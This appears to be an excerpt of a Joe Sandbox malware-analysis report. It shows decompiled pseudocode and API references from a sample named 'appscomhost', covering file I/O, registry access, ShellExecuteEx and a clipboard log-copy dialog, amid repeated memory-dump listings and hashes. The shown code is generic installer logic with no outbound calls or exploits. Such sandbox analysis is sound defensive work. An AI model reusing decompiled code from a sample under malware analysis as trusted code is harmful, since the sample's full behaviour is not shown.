Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 33f0ef72135594440bd39ae1090de480165a05d63dfabbbeebd316e266d8c237
Instruction ID: 3317d7e482e8079663a6db4a97809581e22c1b07b88153a27e00a08cc0e2c803
Opcode Fuzzy Hash: 33f0ef72135594440bd39ae1090de480165a05d63dfabbbeebd316e266d8c237
Instruction Fuzzy Hash: 52E0ECB2020109BEEF19AF90DD1ADBB371DEB04350F01492EF916E4091E6B5A930AA74

Uniqueness

Uniqueness Score: -1.00%

Function 00405F8A, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405F8A(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405f8e
0x00405f9e
0x00405fa6
0x00000000
0x00405fad
0x00000000
0x00405faf

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,0040347A,00000000,00000000,0040329E,?,00000004,00000000,00000000,00000000), ref: 00405F9E

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction ID: f93b0abb86e743badb4163669300e0f642a0e5fa5e5e92c65fa389833edf0ca2
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: D7E08C3220121AEBEF11AE618C04EEBBB6CFF01360F004832F910E6240D238E8218BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405FB9, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405FB9(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405fbd
0x00405fcd
0x00405fd5
0x00000000
0x00405fdc
0x00000000
0x00405fde

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,00403430,000000FF,00430220,?,00430220,?,?,00000004,00000000), ref: 00405FCD

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: c6b158df49e6f5968e08b93a39371abef257cf80c9060b8b5a86bf4d0676d75d
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: 1FE0EC3225065AABDF109E669C04EEB7B6CEB053A0F004837FA55E3190D635E821DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040627E, Relevance: 1.5, APIs: 1, Instructions: 19
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040627E(void* __eflags, intOrPtr _a4, short* _a8, int _a12, void** _a16) {
				void* _t7;
				long _t8;
				void* _t9;

				_t7 = E00406203(_a4,  &_a12);
				if(_t7 != 0) {
					_t8 = RegOpenKeyExW(_t7, _a8, 0, _a12, _a16); // executed
					return _t8;
				}
				_t9 = 6;
				return _t9;
			}

0x00406288
0x0040628f
0x004062a2
0x00000000
0x004062a2
0x00406293
0x00000000

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,00448248,?,?,0040630C,00448248,00000000,?,?,5000,?), ref: 004062A2

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
Instruction ID: 30c71471ac55a0486040fafebf39dce1c160f5eedd86b0188f7d98683811911a
Opcode Fuzzy Hash: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
Instruction Fuzzy Hash: 45D0123254020DBBEF11AF90ED01FAB375DAB08351F01442AFE16A4091D775D530A724

Uniqueness

Uniqueness Score: -1.00%

Function 004061D7, Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E004061D7(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				int _t5;
				void* _t6;

				_t6 = __ecx;
				_t5 = MoveFileExW(_a4, _a8, 5); // executed
				if(_t5 == 0) {
					_push(_a8);
					_push(_a4);
					_t5 = E0040605D(_t6);
				}
				 *0x47afb0 =  *0x47afb0 + 1;
				return _t5;
			}

0x004061d7
0x004061e1
0x004061e9
0x004061eb
0x004061ef
0x004061f3
0x004061f9
0x004061fa
0x00406200

APIs

MoveFileExW.KERNELBASE(?,?,00000005,00405CD5,?,00000000,000000F1,?,?,?,?,?), ref: 004061E1

Part of subcall function 0040605D: CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061F8,?,?), ref: 00406098
Part of subcall function 0040605D: GetShortPathNameW.KERNEL32 ref: 004060A1
Part of subcall function 0040605D: GetShortPathNameW.KERNEL32 ref: 004060BE
Part of subcall function 0040605D: wsprintfA.USER32 ref: 004060DC
Part of subcall function 0040605D: GetFileSize.KERNEL32(00000000,00000000,00469108,C0000000,00000004,00469108,?,?,?,?,?), ref: 00406117
Part of subcall function 0040605D: GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406126
Part of subcall function 0040605D: lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040615E
Part of subcall function 0040605D: SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,00468508,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004061B4

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: File$NamePathShort$AllocCloseGlobalHandleMovePointerSizelstrcpywsprintf
String ID:
API String ID: 1930046112-0
Opcode ID: 548ebb2833628b1478e9b6e4fa47f22c6797e4a39deb6d86db71e30b901faa3a
Instruction ID: d5f951daef1370ffcd3f414e801b5439d209ad135dc6bbf131d8c6eb8ab117b3
Opcode Fuzzy Hash: 548ebb2833628b1478e9b6e4fa47f22c6797e4a39deb6d86db71e30b901faa3a
Instruction Fuzzy Hash: 21D09E31148241AEDA115F10DD05A1BBBA5BF95355F11843EF19A540B1DB3584619F09

Uniqueness

Uniqueness Score: -1.00%

Function 0040347D, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040347D(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
				return _t2;
			}

0x0040348b
0x00403491

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,004031DA,?,?,00000007,00000009,0000000B), ref: 0040348B

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 00405A3D, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405A3D(struct _SHELLEXECUTEINFOW* _a4) {
				struct _SHELLEXECUTEINFOW* _t4;
				int _t5;

				_t4 = _a4;
				_t4->lpIDList = _t4->lpIDList & 0x00000000;
				_t4->cbSize = 0x3c; // executed
				_t5 = ShellExecuteExW(_t4); // executed
				return _t5;
			}

0x00405a3d
0x00405a42
0x00405a46
0x00405a4c
0x00405a52

APIs

ShellExecuteExW.SHELL32(?), ref: 00405A4C

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: 34af207f7f04f37b2a6a243a8c8041682423b78b35e6f682d2e1a111f695392f
Instruction ID: 155326c85e208380d9db810c36285a9e1b4200be200639c8195ffcf147e959ee
Opcode Fuzzy Hash: 34af207f7f04f37b2a6a243a8c8041682423b78b35e6f682d2e1a111f695392f
Instruction Fuzzy Hash: BEC092B2000200EFE301CF80CB09F067BE8AF54306F028068E185DA060C7788840CB29

Uniqueness

Uniqueness Score: -1.00%

Function 004014D7, Relevance: 1.3, APIs: 1, Instructions: 19
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004014D7(intOrPtr __edx) {
				long _t3;
				void* _t7;
				intOrPtr _t10;
				void* _t13;

				_t10 = __edx;
				_t3 = E00402D1C(_t7);
				 *((intOrPtr*)(_t13 - 0x10)) = _t10;
				if(_t3 <= 1) {
					_t3 = 1;
				}
				Sleep(_t3); // executed
				 *0x47afa8 =  *0x47afa8 +  *((intOrPtr*)(_t13 - 4));
				return 0;
			}

0x004014d7
0x004014d8
0x004014e1
0x004014e4
0x004014e8
0x004014e8
0x004014ea
0x00402bc5
0x00402bd1

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 9d5d5732b28c87dd8c1bd09e17a4814ae759e0a3bc5029b4e20fc42c48e5405b
Instruction ID: 7b7b67dc6d3f458d5086b9518b4a07ee130d0c1f42dd071423d4ec8dc7d2b3d8
Opcode Fuzzy Hash: 9d5d5732b28c87dd8c1bd09e17a4814ae759e0a3bc5029b4e20fc42c48e5405b
Instruction Fuzzy Hash: B3D05E73A201009BC710DFB8BE8545E73B8EA903193304837D442E20D1E6B888918629

Uniqueness

Uniqueness Score: -1.00%

Function 00403A06, Relevance: 1.3, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403A06() {
				void* _t1;
				void* _t3;
				signed int _t6;

				_t1 =  *0x40a018; // 0xffffffff
				if(_t1 != 0xffffffff) {
					CloseHandle(_t1);
					 *0x40a018 =  *0x40a018 | 0xffffffff;
					_t6 =  *0x40a018;
				}
				E00403A4B();
				_t3 = E00405B23(_t6, 0x4e4000, 7); // executed
				return _t3;
			}

0x00403a06
0x00403a0e
0x00403a11
0x00403a17
0x00403a17
0x00403a17
0x00403a1e
0x00403a2a
0x00403a2f

APIs

CloseHandle.KERNEL32(FFFFFFFF,00403839,00000007,?,00000007,00000009,0000000B), ref: 00403A11

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 7b1a589537ac952f2d2cbe86137474d3e2a968cea1090ab0fa8a98aa2a4f0ed8
Instruction ID: c82901096bbc8dd245bc3c51ca1c8cac45fc97f6f75882044f994d2a0da8615f
Opcode Fuzzy Hash: 7b1a589537ac952f2d2cbe86137474d3e2a968cea1090ab0fa8a98aa2a4f0ed8
Instruction Fuzzy Hash: B9C0123060070456C160AF75BE4EA053E555B80736B604B35B0F8B40F1CB3C5669896D

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004055B8, Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E004055B8(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t94;
				long _t95;
				int _t100;
				void* _t108;
				intOrPtr _t130;
				struct HWND__* _t134;
				int _t156;
				int _t159;
				struct HMENU__* _t164;
				struct HWND__* _t168;
				struct HWND__* _t169;
				int _t171;
				void* _t172;
				short* _t173;
				short* _t175;
				int _t177;

				_t169 =  *0x472ee4;
				_t156 = 0;
				_v8 = _t169;
				if(_a8 != 0x110) {
					if(_a8 == 0x405) {
						CloseHandle(CreateThread(0, 0, E0040554C, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
					}
					if(_a8 != 0x111) {
						L17:
						_t171 = 1;
						if(_a8 != 0x404) {
							L25:
							if(_a8 != 0x7b) {
								goto L20;
							}
							_t94 = _v8;
							if(_a12 != _t94) {
								goto L20;
							}
							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
							_a8 = _t95;
							if(_t95 <= _t156) {
								L36:
								return 0;
							}
							_t164 = CreatePopupMenu();
							AppendMenuW(_t164, _t156, _t171, E0040644E(_t156, _t164, _t171, _t156, 0xffffffe1));
							_t100 = _a16;
							_t159 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v28);
								_t100 = _v28.left;
								_t159 = _v28.top;
							}
							if(TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156) == _t171) {
								_v60 = _t156;
								_v48 = 0x450268;
								_v44 = 0x8000;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t171 = _t171 + SendMessageW(_v8, 0x1073, _a4,  &_v68) + 2;
								} while (_a4 != _t156);
								OpenClipboard(_t156);
								EmptyClipboard();
								_t108 = GlobalAlloc(0x42, _t171 + _t171);
								_a4 = _t108;
								_t172 = GlobalLock(_t108);
								do {
									_v48 = _t172;
									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
									 *_t173 = 0xd;
									_t175 = _t173 + 2;
									 *_t175 = 0xa;
									_t172 = _t175 + 2;
									_t156 = _t156 + 1;
								} while (_t156 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(0xd, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						if( *0x472ecc == _t156) {
							ShowWindow( *0x47af08, 8);
							if( *0x47afac == _t156) {
								E00405479( *((intOrPtr*)( *0x448240 + 0x34)), _t156);
							}
							E00404340(_t171);
							goto L25;
						}
						 *0x444238 = 2;
						E00404340(0x78);
						goto L20;
					} else {
						if(_a12 != 0x403) {
							L20:
							return E004043CE(_a8, _a12, _a16);
						}
						ShowWindow( *0x472ed0, _t156);
						ShowWindow(_t169, 8);
						E0040439C(_t169);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_t177 = 2;
				_v60 = _t177;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t130 =  *0x47af14;
				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
				_a12 =  *((intOrPtr*)(_t130 + 0x60));
				 *0x472ed0 = GetDlgItem(_a4, 0x403);
				 *0x472ec8 = GetDlgItem(_a4, 0x3ee);
				_t134 = GetDlgItem(_a4, 0x3f8);
				 *0x472ee4 = _t134;
				_v8 = _t134;
				E0040439C( *0x472ed0);
				 *0x472ed4 = E00404CF5(4);
				 *0x472eec = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(_t177);
				SendMessageW(_v8, 0x1061, 0,  &_v60);
				SendMessageW(_v8, 0x1036, 0x4000, 0x4000);
				if(_a8 >= 0) {
					SendMessageW(_v8, 0x1001, 0, _a8);
					SendMessageW(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t156) {
					SendMessageW(_v8, 0x1024, _t156, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00404367(_a4);
				if(( *0x47af1c & 0x00000003) != 0) {
					ShowWindow( *0x472ed0, _t156);
					if(( *0x47af1c & 0x00000002) != 0) {
						 *0x472ed0 = _t156;
					} else {
						ShowWindow(_v8, 8);
					}
					E0040439C( *0x472ec8);
				}
				_t168 = GetDlgItem(_a4, 0x3ec);
				SendMessageW(_t168, 0x401, _t156, 0x75300000);
				if(( *0x47af1c & 0x00000004) != 0) {
					SendMessageW(_t168, 0x409, _t156, _a12);
					SendMessageW(_t168, 0x2001, _t156, _a8);
				}
				goto L36;
			}

0x004055c0
0x004055c6
0x004055d0
0x004055d3
0x00405769
0x0040578d
0x0040578d
0x004057a0
0x004057be
0x004057c0
0x004057c8
0x0040581e
0x00405822
0x00000000
0x00000000
0x00405824
0x0040582a
0x00000000
0x00000000
0x00405834
0x0040583c
0x0040583f
0x00405941
0x00000000
0x00405941
0x0040584e
0x00405859
0x00405862
0x0040586d
0x00405870
0x00405879
0x0040587f
0x00405882
0x00405882
0x0040589a
0x004058a3
0x004058a6
0x004058ad
0x004058b4
0x004058bc
0x004058bc
0x004058d3
0x004058d3
0x004058da
0x004058e0
0x004058ec
0x004058f3
0x004058fc
0x004058fe
0x00405901
0x00405910
0x00405913
0x00405919
0x0040591a
0x00405920
0x00405921
0x00405922
0x0040592a
0x00405935
0x0040593b
0x0040593b
0x00000000
0x0040589a
0x004057d0
0x00405800
0x00405808
0x00405813
0x00405813
0x00405819
0x00000000
0x00405819
0x004057d4
0x004057de
0x00000000
0x004057a2
0x004057a8
0x004057e3
0x00000000
0x004057ec
0x004057b1
0x004057b6
0x004057b9
0x00000000
0x004057b9
0x004057a0
0x004055d9
0x004055dd
0x004055e5
0x004055e9
0x004055ec
0x004055ef
0x004055f2
0x004055f5
0x004055f6
0x004055f7
0x00405610
0x00405613
0x0040561d
0x0040562c
0x00405634
0x0040563c
0x00405641
0x00405644
0x00405650
0x00405659
0x00405662
0x00405684
0x0040568a
0x0040569b
0x004056a0
0x004056ae
0x004056bc
0x004056bc
0x004056c1
0x004056cf
0x004056cf
0x004056d4
0x004056d7
0x004056dc
0x004056e8
0x004056f1
0x004056fe
0x0040570d
0x00405700
0x00405705
0x00405705
0x00405719
0x00405719
0x0040572d
0x00405736
0x0040573f
0x0040574f
0x0040575b
0x0040575b
0x00000000

APIs

GetDlgItem.USER32 ref: 00405616
GetDlgItem.USER32 ref: 00405625
GetClientRect.USER32 ref: 00405662
GetSystemMetrics.USER32 ref: 00405669
SendMessageW.USER32(?,00001061,00000000,?), ref: 0040568A
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 0040569B
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004056AE
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004056BC
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056CF
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056F1
ShowWindow.USER32(?,00000008), ref: 00405705
GetDlgItem.USER32 ref: 00405726
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405736
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040574F
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040575B
GetDlgItem.USER32 ref: 00405634

Part of subcall function 0040439C: SendMessageW.USER32(00000028,?,00000001,004041C7), ref: 004043AA

GetDlgItem.USER32 ref: 00405778
CreateThread.KERNEL32 ref: 00405786
CloseHandle.KERNEL32(00000000), ref: 0040578D
ShowWindow.USER32(00000000), ref: 004057B1
ShowWindow.USER32(?,00000008), ref: 004057B6
ShowWindow.USER32(00000008), ref: 00405800
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405834
CreatePopupMenu.USER32 ref: 00405845
AppendMenuW.USER32 ref: 00405859
GetWindowRect.USER32 ref: 00405879
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405892
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058CA
OpenClipboard.USER32(00000000), ref: 004058DA
EmptyClipboard.USER32 ref: 004058E0
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058EC
GlobalLock.KERNEL32 ref: 004058F6
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040590A
GlobalUnlock.KERNEL32(00000000), ref: 0040592A
SetClipboardData.USER32 ref: 00405935
CloseClipboard.USER32 ref: 0040593B

Strings

{, xrefs: 0040581E

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
